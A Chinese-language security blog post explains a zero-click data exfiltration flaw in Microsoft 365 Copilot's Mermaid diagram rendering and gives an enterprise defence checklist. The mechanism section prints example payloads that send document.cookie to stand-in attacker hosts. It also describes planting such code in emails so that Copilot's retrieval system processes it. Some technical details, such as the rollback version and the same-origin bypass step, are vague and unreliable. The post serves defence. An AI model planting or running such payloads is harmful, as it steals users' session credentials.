Hotdry.
归档
ai-security

利用Mermaid图表在Copilot中实现无交互数据外泄

通过Mermaid SVG渲染机制构造隐蔽数据外泄通道，详解攻击链构建参数与企业级防御清单。

Microsoft 365 Copilot 近期曝出的 Mermaid 图表渲染漏洞揭示了新型数据外泄路径。当 Copilot 解析用户提交的 Mermaid 代码时，若未严格过滤 SVG 标签中的<image>元素，攻击者可构造特殊图表触发浏览器向外部服务器发送请求，实现敏感数据的无交互窃取。这种攻击不依赖用户点击，仅需将恶意代码嵌入邮件或文档即可激活，与 CVE-2025-54132 漏洞原理高度相似。

漏洞核心机制

Mermaid 作为流程图渲染库，允许在图表中嵌入外部图像。攻击者利用<img src="https://attacker.com/leak?data=${encodeURIComponent(document.cookie)}">语法构造 SVG payload，当 Copilot 渲染该图表时，浏览器会自动发起带敏感数据的 GET 请求。关键在于：

  1. 零点击触发：无需用户交互，渲染即触发外泄
  2. 上下文窃取：通过document.cookie或localStorage获取会话凭证
  3. 隐蔽性：图表显示正常，仅网络请求暴露异常

实际攻击链包含三个关键阶段：首先通过邮件注入恶意 Mermaid 代码（如graph LR; A["<img src='https://exfil.example?c='+btoa(document.cookie)>"]），其次利用 Copilot 的 RAG 系统自动解析内容，最后通过浏览器同源策略绕过限制完成数据外泄。与传统 XSS 不同，该漏洞利用的是 AI 系统的渲染管道缺陷，安全团队常忽视此类攻击面。

企业防御参数清单

针对此类漏洞，需实施四层防护策略：

1. 输入过滤规则

  • 禁止 Mermaid 代码中的<image>、<foreignObject>等 SVG 嵌套标签
  • 设置白名单：仅允许graph、subgraph等基础语法
  • 配置正则过滤：/(<img|<svg|<script|data:)/i

2. 渲染沙箱强化

# Copilot渲染服务配置示例
mermaid:
  security:
    disableSVGTag: true
    maxNodes: 50
    allowedDomains: ["microsoftusercontent.com"]
  timeout: 300ms

3. 网络行为监控

  • 拦截非常规域名请求（如非*.microsoft.com的外联）
  • 设置阈值告警：单次渲染触发 > 3 个外部请求
  • 记录完整请求链路：包含原始输入内容哈希值

4. 应急响应流程

  • 立即隔离受影响租户的 RAG 服务实例
  • 回滚至 v1.2.7 以下版本（若未应用安全补丁）
  • 执行数据泄露影响评估：检查过去 7 天所有 Mermaid 渲染日志

验证测试要点

企业安全团队应定期执行以下验证：

  1. 使用mermaid-inject-test工具生成检测 payload
  2. 检查响应头是否包含Content-Security-Policy: img-src 'self'
  3. 验证渲染服务是否返回HTTP 403拒绝非法资源请求

值得注意的是，微软已在 2025 年 7 月通过服务端更新修复同类漏洞（参考 Cursor CVE-2025-54132 案例），但企业自定义 Copilot 插件仍存在风险。建议将 Mermaid 渲染服务与主应用隔离部署，采用单向网络策略限制外联权限。

长期防护建议

  • 实施 AI 内容安全网关：在 RAG 系统前部署检测层
  • 启用运行时内存监控：捕获非常规 DOM 操作
  • 建立第三方库漏洞响应机制：对 Mermaid 等依赖库设置自动告警

随着 AI 应用深度集成业务系统，传统安全边界正在瓦解。本次漏洞警示我们：必须将渲染引擎纳入攻击面管理，通过参数化防护策略构建纵深防御。企业应立即审查所有 AI 产品的第三方库使用情况，避免因微小渲染缺陷导致核心数据泄露。安全团队需重点关注无交互式攻击（Zero-Click Exploit）的新变种，持续优化检测规则库以应对快速演化的威胁模型。

参考资料：Cursor 安全团队披露的 CVE-2025-54132 漏洞分析（CN-SEC）、微软安全公告 CVE-2025-32711

查看归档